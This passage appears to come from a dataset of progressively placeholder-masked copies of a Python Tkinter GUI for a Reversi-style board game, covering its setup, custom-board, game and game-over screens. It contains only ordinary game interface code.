range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n<class token>\n<class token>\n\n\nclass Pregame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n 